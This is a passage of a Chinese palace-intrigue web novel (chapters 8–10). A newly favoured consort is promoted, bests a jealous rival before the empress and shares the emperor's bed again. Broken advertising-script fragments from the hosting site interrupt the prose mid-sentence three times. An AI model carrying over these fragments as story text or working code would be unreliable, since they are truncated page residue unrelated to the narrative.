她挥散那些念头,拾起压在角落里皱巴巴的衾衣,勉强穿得齐整,正要趿鞋下地,腿心倏地升起一股酸意,她竟难以站稳,跌坐回了床榻边。 这边动静引得李怀修多看了眼,那女子穿着皱巴巴的衾衣,眼珠湿润,咬着唇,可怜巴巴,李怀修眉心轻跳,难得生出些怜惜,振了振龙袍的衣袖,缓声道:“你不必伺候。” 明裳想了想,便没再坚持,只说:“是嫔妾的不是,日后嫔妾会学着伺候皇上。” 李怀修拨去冠冕龙珠的手指微顿,狭长的凤眸微微眯起,眼底生出一片晦暗深色,目光掠过那段柔软的细腰,唇线轻扯了两下。 此时他倒是真看不出这女子是得了便宜卖乖,还是真的怕他厌烦,可怜巴巴地跑来跟他保证。虞家确实会挑人,往宫里送了个这么能惑乱朝纲的东西。 …… 皇上进顺湘苑的第二日,御前下诏,晋宝林虞氏为正六品常在,赐封号宓。 全福海身后跟着送赏赐的小太监,手中捧着传召圣旨,心里啧啧感叹,初次得皇上临幸,就能越两品,赐封号,这可是后宫主子们少有的殊荣。 8. 第 8 章 圣驾离开顺湘苑没多久,御前的圣旨就下召了永和宫。后宫里但凡侍寝过的嫔妃都是要升位份,至于升到几品,全看那主子合不合皇上的心意。 越两品,册封正六品常在,加之“宓”字封号,已是皇恩浩荡,前所未有。 辛小五三人瞪大了眼睛,不敢相信皇上除了册封主子位份,竟还给了封号。主子受宠,他们这些宫人也跟着扬眉吐气,有皇上隆恩,日后看谁敢瞧不上顺湘苑出来的奴才。 几人喜上眉梢,高声叩首:“奴婢恭喜宓主子,贺喜宓主子!” 明裳接了圣旨,久久才回过神,她掩唇一笑,朝辛柳看了眼,辛柳会意,立即将准备好的封红塞到传旨太监手里。全福海倒是不在乎这些私钱,皇上能给宓常在这般殊荣,足以见得宓常在的本事。他脸上笑意真切几分,多说了两句讨喜的话,才躬身离开。 快到了问安的时辰,昨夜明裳截了柳美人的宠,又得侍寝,今儿升了位份,再得封号,难免成为众矢之的。 …… 虞宝林升至六品常在,坤宁宫早早闻讯,将位子往前挪了挪,这时候柳美人还没来,明裳落了座,借着饮茶的功夫,不着痕迹地打量了眼内殿,今儿个请安的人似乎多了些,那些往日称病告假、诵经祈福的……居然都来了坤宁宫问安。 倒底是为了问安,还是为了看皇上的新宠。 明裳落了眼眸,对周围探寻的目光仿若未觉。 “宓妹妹今时不同往日,受了恩宠,果然要比以往愈发明艳了。” 姜贵人亲亲热热地与明裳说话,好似两人相交已久。这宫里头最不缺的,就是睁眼说瞎话的人。姜贵人是宫里的旧人,位份不低,待下面的宫人最是宽和,但这时候说这番话,难免给明裳招惹麻烦,究竟是有意无意,在座的人都心知肚明。 明裳当做没听出来话里的意思,红了脸,含羞道:“妹妹蒲柳之姿,比不得姐姐们倾城容貌。” 闻言,姜贵人笑意淡下,端起杯盏饮了口茶水,不再说话。 三言两语,滴水不漏,倒瞧不出这宓常在是真的单纯无知,还是藏的深沉。 新人入宫过了近四月,皇上也就召幸过两人,一人是家世颇高的杨嫔,剩下就是这个不知从哪冒出来的宓常在。以前怎么没注意到,后宫里藏了个如此绝色的女子。 不多时,柳美人踏进了内殿,不知是有意无意,柳美人的位子正坐在明裳上首。 昨夜的事儿早就传遍了后宫,柳美人费力请去了皇上,却叫宓宝林半路截胡,白白给旁人做了嫁衣,柳美人心里如何不气。 若有若无的视线在柳美人和明裳身上瞄来看去,这两人同住一宫,日后不知道还有什么好热闹看。 柳美人捏着帕子的手隐隐掐紧,她不是没注意到落在自己身上看好戏般的眼神,正因如此,才愈发的恨恼坐在下面的小贱人。 踩着她上位,让怎能不恨! 今日她若是称病不来这坤宁宫问安,不知明儿个这后宫就要怎么传扬,她进宫立的威信,可不能就这么被这个小贱人毁了。 方才亲亲热热拉着明裳说话的姜贵人眼眸打量两回,挽笑道:“听闻昨夜皇上是要去柳妹妹那的,柳妹妹可真是与宓妹妹姐妹情深,体恤非常,惦念着宓妹妹进宫无宠,劝慰皇上雨露均沾呢!” 姐妹情深? 柳美人手心快掐出血了。 众人没说话,都在津津有味地瞧着好戏。皇上少进后宫,在坐的嫔妃不管是新人旧人,不少皆未承过恩宠,幽居深宫乏闷无味,也就只有这些乐子可看。 偏生姜贵人说完,本该上戏台子的两人谁都没有开口,一个气得不轻,一个仿若事不关己,好戏倒是没唱出来。 稍许,皇后娘娘凤钗簪发,华服拥身,雍容华贵地入了内殿。 众嫔妃起身见礼,皇后落了座,视线在殿内打量一眼,目光落到下首的女子身上,面容带笑:“倒是个精致的,不怪皇上喜欢。” 如此一提,殿里的视线又齐刷刷看向了明裳。明裳不卑不吭地起身,羞怯般低下头:“皇后娘娘凤仪光华,嫔妾俗庸拙笨,只是做衬罢了。” 这番奉承的话说得悦耳,后宫嫔妃但凡得宠便露出几分自傲,罕见如此谨小慎微的女子。不管是不是故作姿态,都让人听得舒心,皇后眸色深了几许,掩唇笑道:“后宫少有你这般嘴甜贴心的人,留你在皇上身边,本宫也是放心。” 皇后这话什么意思,难不成要捧着宓常在,留到君侧? 经皇后这三两句话,直接把明裳推到风口浪尖上,没人知晓皇后是否有意为之。 出了坤宁宫,有低品阶的嫔妃不慎冲撞了柳美人,柳美人窝了一肚子火,反手就甩了那人一巴掌。 “毛毛躁躁,怎的这般没有规矩!” 巴掌打得重,当即在那陈宝林脸上留下一片通红,尚是在坤宁宫,就敢如此发作,陈宝林一时没回过神。 “嫔……嫔妾不是有意……”陈宝林生性胆小,位份又低,被柳美人压得一头,害怕她责罚,捂住半边脸,眼睛登时就红了。 柳美人气无处发泄,见谁都觉得是在暗地讥笑自己,“我看你就是有意,小小一个宝林,也敢越到我的头上?” 明裳正走到这,就听了这句话,指桑骂槐,借着陈宝林给自己立威。不过这柳美人可真是蠢,逞威风也不看看这是什么地儿,皇后娘娘面上再宽容大度,这种气也是不愿忍的。 好事的嫔妃放慢了脚步,侧耳去听,有的甚至驻足观看。 陈宝林瑟缩着身子,被柳美人呵斥得一声也不敢吭。没人上前去劝阻,笑话,宫里头谁不懂明哲保身,一个无宠无倚仗的宝林,谁会去管这种闲事。 明裳也没有过去,她回头看了眼紧闭的殿门,招辛柳过来,附耳低语,辛柳会意,悄声离开人群。 陈宝林脸色越来越白,强忍着才没哭出来。她家世不高,又没有一副花容月貌,入宫就像个影子,如履薄冰,处处谨慎,她知晓柳美人是借题发挥,指桑骂槐,正因如此,才越发委屈。 她颤得越来越厉害,听着柳美人的威胁,踉跄一晃,手臂忽然叫人扶住,才没有摔倒。 她怔了下,抬起眼,女子面如皎月,眉尖儿微蹙,看着她,似有担心。 “可有事?” 声音很好听,柔柔软软。 陈宝林泪水吧嗒吧嗒地落,呜咽摇头。 明裳把人安抚好,才看向柳美人,开口便压住了柳美人的气焰:“尚是在坤宁宫,陈宝林固然有错,也当由皇后娘娘处置,柳姐姐越俎代庖,可是将皇后娘娘放在了眼里?” 这顶高帽子叩下,当即就给柳美人定了大罪,她品阶高,自能责罚低品阶的嫔妃。这事儿可大可小,要给她安一个无视皇后娘娘的罪名,今日受责罚的人可就是她了。 以前怎么没看出这小贱人竟生了一颗七窍玲珑心,嘴皮子这么厉害,这么多人看着,她怎敢下自己的面子。 柳美人搭在宫女胳膊上的手狠狠掐紧。 自打彩芸那事儿过去,柳美人开始怎么看彩芸怎么不顺眼,瞧着给她侍弄花草的丫头算是伶俐,慢慢地,也就有了心腹的势头。可柳美人身边的心腹确实不好当,柳美人脾气不好,伺候左右,又要挨打又要挨骂,人前风光,人后遭罪。 夏日的衣裳薄,妙清手腕要被掐得青紫,她冷汗频出,却连吭都不敢吭一声。 “孰是孰非,皇后娘娘自有裁决,岂是靠你这张嘴在这颠倒黑白的?” 明裳不气不恼,似是觉得好笑, (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 莞尔道:“柳姐姐既然知道皇后娘娘自有裁决,那在坤宁宫责罚陈宝林,又是何意?” 一句话堵得柳美人面色又青又白,周围的嫔妃都在看好戏,对这新上位的宓常在再次高看了几分,后宫里聪明人不少,但聪明且漂亮的,确实少见。 内殿门打开,文竹从里面出来,屈身福礼:“奴婢请各位主子安。” 文竹是皇后宫里的大宫女,说话的份量不比后宫的主子轻。 “方才之事皇后娘娘已经知晓,陈宝林冲撞柳美人,罚抄十卷经书。柳美人殿前妄为,有失宫规,禁足五日,无令不得出永和宫。” 十卷经书和禁足五日这二者责罚相差不大,关键就在这十卷经书要多久呈给皇后娘娘,要是三年五载,这责罚也就微不足道。 文竹说完那句话,就转身回了内殿,柳美人连分辨的机会都没有。众人散去,陈宝林红着眼眶,对明裳感激福身:“多谢姐姐为我说话。” 明裳见她尚委屈着,心中叹息一声,提点了句:“皇后娘娘处事公允,你要谢,也当去谢皇后娘娘。” 洒扫的宫人来来往往,坤宁宫嫔妃的一言一行皆入了旁人眼中。 陈宝林去坤宁宫谢恩的时候,皇后手握一本经书,正翻过一页,闻言,唇线牵起一抹笑意:“宓常在确实聪慧。” 这种事儿,谁能像宓常在做得这般两全其美,既责罚了柳美人,又笼络了陈宝林的人心,顺道奉承她一把,一石三鸟。 皇后揉了揉眉心,淡淡道:“把那台云山笔洗拿给陈宝林,让她回去吧。” …… 柳美人回丽景轩发了好一通大火,案上的瓷盏噼里啪啦摔得粉碎,明裳听得乐不可支,她掩唇正笑着,外面吵吵闹闹传来人声,月香喜笑颜开地进来:“主子,全公公领来宫人,让主子挑人呢!” 昨儿个全福海起初以为宓常在是弄什么花招,才让顺湘苑冷清无人,今儿一早伺候皇上,才知晓,宓常在身边是真的没人,人往高处走,水往低处流,宓常在久不侍寝,那帮奴才以为前途无望,早另寻他路了。 全福海是个人精,哪瞧不出皇上对宓常在的态度,宫里出了个这样的妙人,于皇上而言新鲜至极,全福海可不敢怠慢,早早吩咐尚宫局多挑几个顺眼的宫人,到宓常在身边伺候。 宫人恭恭敬敬地垂低头,站了两排,明裳一一看过去,点两个稳重的留下,剩下的请全福海去挑。 辛柳把荷包塞到全福海怀里,全福海掂掂分量,心里啧啧一声,不愧是有手段侍寝的主子,出手就是阔绰,虞府如今落魄,可这位主子半点没小家子气,不仅不把皇上的赏赐藏起来,反而大大方方地赏人,笼络人心,如此手段,柳美人哪斗得过。 全福海不敢怠慢,择选了五个手脚干净、稳重妥帖的宫人,留到了顺湘苑。 顺湘苑伺候的宫人多了,明裳留月香辛柳贴身伺候,辛小五做掌事太监,年纪稍长的绘如做掌事宫女。 绘如以前伺候在御茶房,被总管大监指到顺湘苑时,心中还有几分忐忑,不知这位新受宠的主子是什么脾性。 直至进到顺湘苑,绘如还未来得及升起那些担忧,见到宓常在的容色,呼吸都滞了一滞,这位新主子确实生得极美,甚至胜于先帝爷盛宠的梅贵人,她忽然也就明白了,皇上为何会如此宠幸于一个并无家世门第支持的新晋嫔妃。 …… 至夜,敬事房的宫人端来嫔妃名册,李怀修朱红的墨笔在奏折上批阅了一个准字,他撂下笔,指骨轻敲了两下御案,稍许,看也不看那张列满六宫七十二嫔妃的名册,径直起身,淡淡落下一句,“去顺湘苑。” 敬事房的小太监愣了下,全福海反应得快,那张大圆脸堆满了笑,急急地朝外面喊:“摆驾永和宫!” 9. 第 9 章 弦月高升,月色已深,莹白的残辉笼罩着整座皇城。 入宫的新人中,虞宝林骤然得宠,很快就有人心急不耐,乱了方寸。后午时分,便有两个新人到坤宁宫,言语之间都是想得皇上召幸。皇后赏了些玛瑙珠串作以安抚,却并未对此事作保。 新人悻悻而归。 至夜,皇后伏于案后,手中执笔,宣纸上落于“宓”字。 无人察觉间,笔尖的墨渍肆意晕染。 文竹在侧伺候研磨,见娘娘盯着宣纸上的字迹出神,不由轻声询问,“娘娘在想着什么?” 皇后眼眸微凝,唇边牵出的弧度若有若无,“河洛之神,华容婀娜,是为宓妃。” “宓常在的姿容,也确实当得起那位赐下的封号。” 这宫中从未有过以宓字为封号的嫔妃,可见,那位有多喜爱这位宓常在。 文竹哑声,她侍奉娘娘多年,读过些书,听懂娘娘口中诗文的意思,并不觉得这封号有多好,以色事人者,能得几时好,又能多长久,宓常在再讨皇上喜欢,也不过是这一时。当初潜邸之时,后宅容色出众的主子不再少数,得过皇上盛宠,到如今还有谁会记得。 她委婉道:“奴婢记得潜邸时,高良娣容貌并不逊于宓常在。” 只可惜高良娣眼皮子浅,见成王府落魄,与宁王勾结,当今处置高良娣,未顾忌半分过往情谊,即便是枕边人,也没有丝毫怜惜不忍。 提及旧人,皇后眯了眯眸子,是啊,又如何,她与那位夫妻十载,还不清楚那位有多冷心冷性。那位的眼中,又何曾有过世俗的情爱。 …… 永和宫 月香正从内务府取回花露,迎面遇见御前的德喜公公,德喜来给宓常在传召侍寝,认出来人是顺湘苑伺候的大宫女月香,立马生出一脸的喜气,“月香姑娘回来得正是时候,皇上传召今夜宓主子侍驾,月香姑娘快些回去替主子更衣,准备迎驾吧!” 昨儿主子刚被召幸,今儿皇上居然又点了主子? 月香面有诧异,但当着御前人的面儿,她很快遮掩过去,与德喜说过几句话,脚步匆匆往永和宫走。进了宫门,她走得急,并未注意前路,一不留神余光晃过一道人影,她为护着怀中的花露,一个趔趄,肩膀被撞得生疼。待站稳了身子,揉上酸疼的肩侧,才看清撞她的人,正是丽景轩的彩芸。 丽景轩也听闻今夜宓常在侍寝,柳美人气得摔碎了两个茶盏,命她出来探风,截到圣驾,故而彩芸才走得急了些。平日她就趾高气扬,不把顺湘苑的人放在眼里,即便如今宓常在接连侍寝,她也不觉得宓常在能得意多久,毕竟自家主子可是当初潜邸柳侧妃的嫡亲妹妹,论起与皇上的情分,宓常在怎么比得过。 彩芸挺直了腰杆,“月香姑娘好没眼睛,莽莽撞撞,万一冲撞了主子,你可担待得起?” 主子入宫后,丽景轩一向欺压她们顺湘苑,以往月香也就受着了,如今主子已经入了圣眼,她又何必处处受气,丢了主子的脸面。风水轮流转,终于也轮到她们顺湘苑扬眉吐气。 她冷哼一声,“想必是上回宓主子还没教会你规矩,今夜宓主子侍寝,你这般毛手毛脚,冲撞了圣驾,可不是十个巴掌就能揭过去的!” 顺湘苑出来的人没有一个不是牙尖嘴利,彩芸恨得牙痒痒,换作几日前,月香见到她哪回不是低三下四,怎么敢跟她这么说话! 月香紧着伺候主子,没再理会彩芸,捧着花露回了顺湘苑,只是擦身而过时,肩膀朝旁边的彩芸狠狠撞了一下,彩芸猝不及防,一屁股墩摔倒在地,臀下火辣的疼痛才让她回过神,好半晌没站起来身子,瞧着月香得意离开的神色,彩芸气得险些搅碎了娟帕。 …… 明裳白日乏累,用过晚膳,昏昏欲睡之时,乍然听到侍寝的信儿,一时愣了下。后宫不是人尽皆知,皇上从不重欲,一个月有五回踏进后宫都是多的,怎么今儿又来了。倒不是她不想要这宠幸,只是那事儿她实在承受得有些艰难。 辛柳扶起她到妆镜前梳妆,“御前的宫人传话,圣驾这回已经在路上了,主子可得要快些。” 一头乌黑的青丝垂到腰际,透着绸缎般的光华雪亮,赶得紧,明裳松松挽了发鬓,来不及描妆,便只在唇瓣上染了嫣红的胭脂,妆镜中的女子眸如秋水,藏着波光,涟漪迤逦,怎么装扮都是千娇百媚。 圣驾已到了永和宫,明裳拨去鬓边垂下的青丝,披上外衫,叫辛柳扶着,快步出去接迎。 李怀修都已上了殿前的台阶,里面的女子才出来迎驾,大抵是走得急了,倾时见到他,身形不稳,被门槛绊了下,直直地扑到了他怀里。 怀中软玉温香,颇有投怀送抱的意味。 李怀修手臂下意识去扶她,掌心贴着那段细腰,眉宇轻挑,这女子一向心思多,这一摔究竟是有意还是无意。 没等他想明白,怀里那两只小手似有慌乱地推了他一把,紧接着那人站稳,屈膝弯腰,施施然福了一礼。 未施粉黛的脸蛋清丽脱俗,月下美人,颇有一番趣味。 李怀修把人扶起来,“慌慌张张的做什么?” 掌中纤纤玉手柔若无骨,指腹不禁多按了两下,却听那女子娇声娇气地开口,好似埋怨,“还不是皇上来得急,叫嫔妾准备的空档都没有。” 按着女子的指腹顿了下,空气一时冷凝,全福海候在旁边,觑着皇上黑下的脸色,心如擂鼓,就差跪下来了。原以为这位主子是个温顺懂事的脾气,怎的刚侍寝一夜,就开始恃宠而骄了!这天底下,谁都能犯错,皇上是绝不会有错的,纵使有,那也是别人瞎了眼。 全福海正琢磨着给皇上消气,就见皇上拂开宓常在的手,冷着声,“朕的错?” 仅是这三个字,伺候的宫人惊得扑通跪到了地上,埋着脑袋,瑟瑟发抖。全福海心头猛跳,巴望着宓常在识趣,刚有得宠的势头,千万别惹恼了皇上。 明裳仿若后知后觉自己说错了话,微抿了下唇瓣,鬓边垂落的青丝拂到她的面颊,春水嫣然,颇为可怜,认错的模样诚恳懂事,“嫔妾不敢……” 微顿,她又多补了一句,“皇上别生气。” 但那眼眸水雾之下,藏着的却是叫人看不透的颜色。 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 李怀修双眼微眯,伸手钳住了明裳的下颌,冷言冷语,“记住你自己的身份。” 大抵是兴头未过,纵使她作天作地,他也会睁一只眼闭一只眼,但他也不会轻易就让这女子得寸进尺。 明裳袖中攥起的指尖儿微松,微舒口气,心道,这位确实不好糊弄,她有意试探宠她的底线,这位却不给她半点机会。 月华如银,帷幔重重垂落,殿外,全福海静静候着,还是没琢磨明白,这宓常在究竟唱的哪出戏,好好侍寝不就得了,偏偏闹那一出,惹恼了皇上。皇上看似宽宏大度,实则最是小气,宓常在这么一闹,受罪的还是自己。不过闹归闹,末了皇上竟然还是留下来了,除了口头的警告,竟连责罚都没责罚。 想到这儿,全福海一阵毛骨悚然,他好似低估了皇上对宓常在的宠爱,宓常在虽初得圣宠,可是在以往,皇上待别的嫔妃主子,从未这么宽容过。 宫灯的烛火照着人的光影,事毕已近过亥时,明裳伏着身子,她耳边听见男人阵阵强劲的心跳声,两人都未唤人净洗,她忽然有些好奇,记得幼时父亲因公务繁忙,日日在书房累得伏案而歇,母亲知父亲醒后又会继续忙着正事,舍不得叫醒,无奈只能轻手为父亲披衣以免着凉。 如父亲一般低品的官员尚且分身乏术,她为何觉得,这位坐拥江山的帝王,好似从未有累的时候。 明裳仰起脸,问出这个疑问。 她虽聪慧,却不精于男女之事,不知这个问题对男人而言,问得有些危险。 能坐到这个位子上,必然有过人的精力,常人所不能及。李怀修少时就不是养尊处优长大的皇子,他早已将这些视为寻常。 李怀修凝着女子的眸子,脸色精彩复杂,一时竟也看不出这女子是真诚好奇,还是在借机为她勤勉的父亲说情,好让他无意中提拔她的母家。 李怀修没回她,拍了把女子的腰身,让她起来,明裳没动,眼巴巴地望着男人,后者淡着脸色,却是极为无情,明裳瘪嘴,起了身。 主子到净室净洗,宫人垂着头,手脚麻利地换下新的床褥。 待明裳沐浴好,清清爽爽地躺回床榻里,见男人从净室出来,她又坐起身子,将帷幔的钩落了,两人一同安置。床榻里只留了一床被褥,李怀修没理会这人固宠的小手段,他也习惯搂着这女子入睡。 刚熄了灯,两人都没多少睡意,李怀修手掌扣着那段纤细婀娜的腰,他垂下眼睑,怀中人似有所察,抬起脸,四目相视。 借着月光,女子面容如拂上银辉,色容清丽。 李怀修眼黑如墨,挑起一米立轻捻,忽然问她,“可知朕为何赐你以宓做封号?” 明裳心尖微跳,轻轻摇头。 李怀修俯目欺身。 他本没想初次召幸这女子就赐她封号,提笔之际,偶然记起一句诗词,月中寂静,他叙于她耳。 “宓妃腰细才胜露,赵后身轻欲倚风。” 纵使是如李怀修这般不耽溺于女色的帝王,得了这么个东西,也难得生出些情不自禁。 却也仅仅止于此。 10. 第 10 章 丽景轩 彩芸一瘸一拐,形容狼狈地进了内殿,她哆哆嗦嗦跪到地上,颤声,“奴婢无用,圣驾直朝顺湘苑去了。” 她不是没去拦着皇上,眼见圣驾进了永和宫,她急忙跑过去,传话美人主子头痛难忍,请皇上过去看看,话音刚落下,未听銮舆内皇上开口,就先被御前的大公公全福海拦住,先吩咐小太监去传太医,紧接着笑眯眯的,三言两语打发她回了丽景轩。 彩芸再要去顺湘苑请人,却连全福海都没见到,顺湘苑看门的小太监把她拦在了外头。那群小太监往日姐姐长,姐姐短地叫她,如今却是狗仗人势,翻脸不认人了。 她心焦如焚,主子失宠后,就已经看她不顺眼,倘若她这回再请不来皇上,不知主子要如何动怒。 柳美人攥紧杯盏,指尖渐渐泛白,她眼底憎恨,气得骤然将手中的茶盏砸到地上。 “贱人!” 一连两日,皇上居然都召幸了她。她现在悔及昨夜让那贱人得逞,截走了皇上。 彩芸见主子目眦欲裂的面容,吓得战战兢兢,大气也不敢喘,生怕主子看见自己,将怒气都发到自己身上。 丽景轩静了一夜,因顺湘苑主子得宠,而布上一层重重的阴霾。伺候的宫人都隐有所觉,这永和宫时过不久怕是要换一位正主了。 明裳两手攀着男人宽厚的肩膀,她觉得这位不止米青力足,也极有耐性,方才自己还觉得又困又累,现在却没半分睡意。柳眉颦颦,女乔息微微,实没忍住,几乎是在本能的驱使下,红唇张开,牙关倏紧,全无防备下,在男人肌理分明的肩膀一侧留下了两道牙印。紧接着,她明显感觉到,耳边呼吸一沉,这位好似没了开始矜贵,开始米且蛮地攻城田各池。 三更天,李怀修唤人进殿伺候,全福海捧着衾衣为皇上换上,一抬头,瞄见皇上脖颈的牙印子,吓得心脏突突直跳,也不知该如何提醒,只能装死地埋低脑袋。皇上一向重规矩,明儿一早还要上早朝,这般风流之态,怕是要惹人非议。只盼着皇上赶紧自己察觉,好遮掩一番。 李怀修睨见他一副见了鬼的眼神,眼眸微眯,抬手抹了把侧颈,才觉一阵火辣辣的疼意。记起什么,脸色倏地就阴了下来,黑如锅底。 宫人收拾妥当,轻声退出寝殿。明裳沐浴出来坐到榻上,就见男人脸色隐有不对,她侧过身柔声询问,还没等一句问完,就看清了男人颈间两排牙印子,明裳雪白的脸蛋,倏然就红了,脑袋跟鹌鹑似的埋着,支支吾吾,“时候不早了,皇上歇下吧。” 李怀修“呵”了声,把人拉回来,捏着那张脸蛋,眸中点墨,“胆子倒是不小。” 后宫里的嫔妃哪一个不是谨记身份,侍驾时谨慎小心,生怕惹他不喜,这女子倒好,也不知忍着,还敢咬他身上,简直胆大妄为! 见男人并没多震怒,明裳便没那么怕了,别过脸蛋,娇里娇气地哼道,“皇上还说呢,还不是皇上非要那样。” 话落,她推一把男人胸口,自顾爬到床榻里,闷不吭声地把被子埋过头顶,闭了眼,一句话也不说,竟是直接不理人了。 李怀修怀中空下来,怔了下,稍许,盯向缩在榻里的一团,脸色铁青。 她还真是忘了外殿时的教训,才侍寝第二日,不止咬了他,还敢给他甩脸子? 旁人看着顺湘苑侍寝,风光无限,实则里面伺候的奴才才知道其中苦楚,这夜说是鸡飞狗跳也不为过,第二日,皇上是黑着脸走的。 绘如从没伺候过这样的主子,一早看着御前大公公全福海心惊胆颤的伺候,她也正是如此,这位新主子怎的如此……与众不同。 顺湘苑安然无事,御前的全福海可遭了大罪,天知道他这一日是怎么过来的,宓常在咬哪不好不好,偏偏往皇上脖子上咬,多有损君威啊!皇上待宓常在冷脸,简直是他意料之中。但诡异的是,皇上气归气,对那位主子却是舍不得责罚半分,晌午得了岭南的荔枝,这会儿还要巴巴给顺湘苑送去。 全福海捧着一篮子新鲜带叶的荔枝,对顺湘苑那位主子万分敬服。 岭南进贡的荔枝罕有,全福海领着小太监到永和宫,宫人进去通禀,全福海没等多久,就被迎了进去,待进了殿,见到柳美人竟也在顺湘苑,只是那脸色……实在是难看得一言难尽。他愣了下,很快反应过来,见礼道:“奴才请美人主子,常在主子安。” 明裳命宫人赐座,也不去看柳美人的脸色,捏着帕子掩唇浅笑道:“全公公来这儿,可是皇上有什么吩咐?” 女子肤白似雪,面容姣好,眼波流转间便是万种风情,这般千娇百媚的美人,可不怪把皇上气成那样,都能被宠着了。 送荔枝本该是得赏的事儿,可柳美人今儿在这,瞧见往顺湘苑送两大篮子的荔枝,再得知自己殿里没有,还不得气得红脸。 倘若是下面的小太监还会斟酌一二,但全福海是御前得力的红人,又人精得厉害,柳美人能得侍寝,还不是因为柳侧妃的缘由,皇上对柳美人的态度可用敷衍二字形容。对宓常在却是不一样,自打全福海伺候皇上,就没见过皇上对谁如此纵容过,宓常在又聪明,迟早要位居后宫一分席位。孰是孰非,全福海看得通透。 他弓着腰赔笑,“岭南进贡的新鲜荔枝,皇上料想主子喜欢,命奴才给主子送来。” 明裳眼眸微动,嘴边笑意浅浅,瞄了眼后面两个精致的提篮,似是随口道:“正好柳姐姐在这儿,全公公免得多跑一趟了。” 闻言,全福海额头紧冒冷汗,原以为皇上小心眼儿,想不到这位主子更甚。荔枝要是有柳美人的份儿,早就直接另让人送过去了,何必再拿来顺湘苑招惹人眼。 他干笑着,委婉道:“这两提篮都是宓主子的。” 明裳那对乌黑的眼珠显出极为夸张的惊诧,娇羞红意生了满张脸蛋。 反观柳美人,盯着那两篮子荔枝,整张脸阴沉得仿佛要把荔枝摔到地上,阴深得可怕,“既然这两篮子是宓常在的,皇上可是吩咐人给我另送了?” 全福海被夹在中间,颇为汗流浃背,不禁腹诽,柳美人可真是没脑子,皇上待她态度如何,她就瞧不出来?这时候不好好巴结巴结颇得圣心的宓常在,日后感情深了,也好有个靠山。不讨好就罢了,还视为眼中钉,总去讨嫌作对,这般没眼色,日后必有好果子吃。 他讪笑道:“岭南荔枝罕有,宫中除却正二品的娘娘们,阮嫔主子也得了一些。” 阮嫔身边养着小公主,自然要宠着,可这个小贱人算什么,出身寒门,位份甚至不如她,做甚她就能得两篮!哪来的规矩!要是不她三言两语挑拨,自己怎会被皇后娘娘禁足永和宫! 柳美人气得红了眼,可惜她入宫这么久还不知,在宫里头,皇上说的话就是规矩。 全福海见柳美人强忍住将要发作,可不敢再待下去,恭恭敬敬地福身,领着小太监回了乾坤宫。 宫里多的是捧高踩低的人,明裳前日侍寝,第二天尚宫局就紧着好的内务用度送到顺湘苑,冰鉴多的用不完,一进殿,就是沁人的凉爽。 荔枝新鲜带水,辛柳剥去半边外壳,放到碟里,明裳指尖捏着另一边的壳,递到唇边,汁水甜香,是宫里头的稀罕。 柳美人僵硬地看着那两篮荔枝,心头浮出一股子又酸又涩的妒意,“宓常在真是好福气。” 话中意味不明,说不清是冷嘲热讽,还是真的艳羡嫉妒。 明裳敛下眸子,笑意却冷了,好福气么?她可不觉得。柳美人嘴皮子上下一碰就说她福气好,不过侍寝两回,入宫这条路,哪会那么轻松。 “不过你也不要得意的太早了。”柳美人攥紧了手心,“以色事人,又能有多长久。” 折腾不出什么风浪,便只会耍嘴皮子的功夫。明裳撑着下巴,歪了歪头,和和气气地笑,“多谢柳姐姐提醒。” 这软面团子,不气不恼的样儿,快要把柳美人气得呕血。 她甚是后悔,当初这小贱人没得宠的时候,就该使了劲儿折腾她,尤其是那张狐媚子脸,倘若刮花了,遭皇上厌弃,看她还敢在自己面前嚣张得意! 出了顺湘苑 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 的殿门,柳美人正往回走,前面鬼鬼祟祟冒出两个人影儿,柳美人看着眼熟,眯了眯眼,“站住!” 前面的小太监压低三山帽的沿儿,遮住半张脸,跪身低声问安。 妙清先认出了人,“主子,是顺湘苑过来的知顺!” 知顺见被主子认出,额头哆哆嗦嗦叩到地上,“奴才请主子安!” “你不在丽景轩伺候,跑到这做什么?”一瞬间,柳美人明白过来,气得捏着帕子的指尖都在发抖,“狗奴才,你是想背主?” “主子饶命!主子饶命!奴才本就在顺湘苑伺候,何来背主之说啊!”知顺伺候在宫中多年,做戏能做个十成十,哭得跟真的似的。若非柳美人知晓这是棵风吹就倒的墙头草,倒真被他骗了。 柳美人刚在顺湘苑窝了一肚子火,哪能就这么容易放过这个碍眼的东西,她冷笑一声,“来人,把这个手脚不干净的狗奴才押去慎刑司,按宫规处置!” 知顺脸色霎时一白,哭嚎着去抓柳美人的裙摆求饶,柳美人懒得多看知顺一眼,出了气,心情才稍有转好,轻描淡写地回了丽景轩。 闹出这么大动静很快就传到了明裳的耳朵,荔枝吃多了上火,明裳吃了几个,剩下的用冰镇上,又赏了几个给身边伺候的丫头。 月香幸灾乐祸,“恶人自有恶人磨,叫他瞧不上咱们顺湘苑,如今可遭到报应了。” “活该!” 辛柳话少,没接月香这茬,绘如在宫里伺候的久,什么样的人没见过,三言两语中大概也听明白了个中的实情,她稳重通透,不是会奉承的人,默默捋平主子的裙摆,为主子垫上靠垫。 明裳这回没看错人,绘如确实伺候的细心,话虽少,却不是蠢笨之人,可用。 她懒懒地合上眸子,“那般的墙头草,即便回了顺湘苑也不能留下来。” 柳美人处置了,误打误撞还算帮她一把。这个柳美人还真的是……脑子不够用。 明裳弯了弯唇。 月香赞成主子的话,连连点头,“主子说的是,知顺那种人,说不准什么时候出卖了主子。” …… 乾坤宫 晌午的日头大,全福海借着廊檐的遮阴乘凉,过上半个时辰,里面议事的大臣才迈过门槛离开内殿。近日各地灾情有所缓和,平复了灾民暴//乱,也算是结了皇上的心结。提起来,这些事儿竟都是遇见宓常在之后就安稳了,这么说,宓常在还是个福星。 全福海乐呵呵的,进殿伺候茶水,东暖阁摆了午膳,灾情事宜告一段落,皇上肩上的担子也轻了不少。皇上多用了膳,御膳房伺候的厨子也松了口气。 缠枝牡丹金碟儿里夹了一箸松花鱼,御前的厨子厨艺自是顶尖儿,皇上虽不露喜好,但全福海有心留意,也看得出来皇上对这碟松花鱼甚是满意。 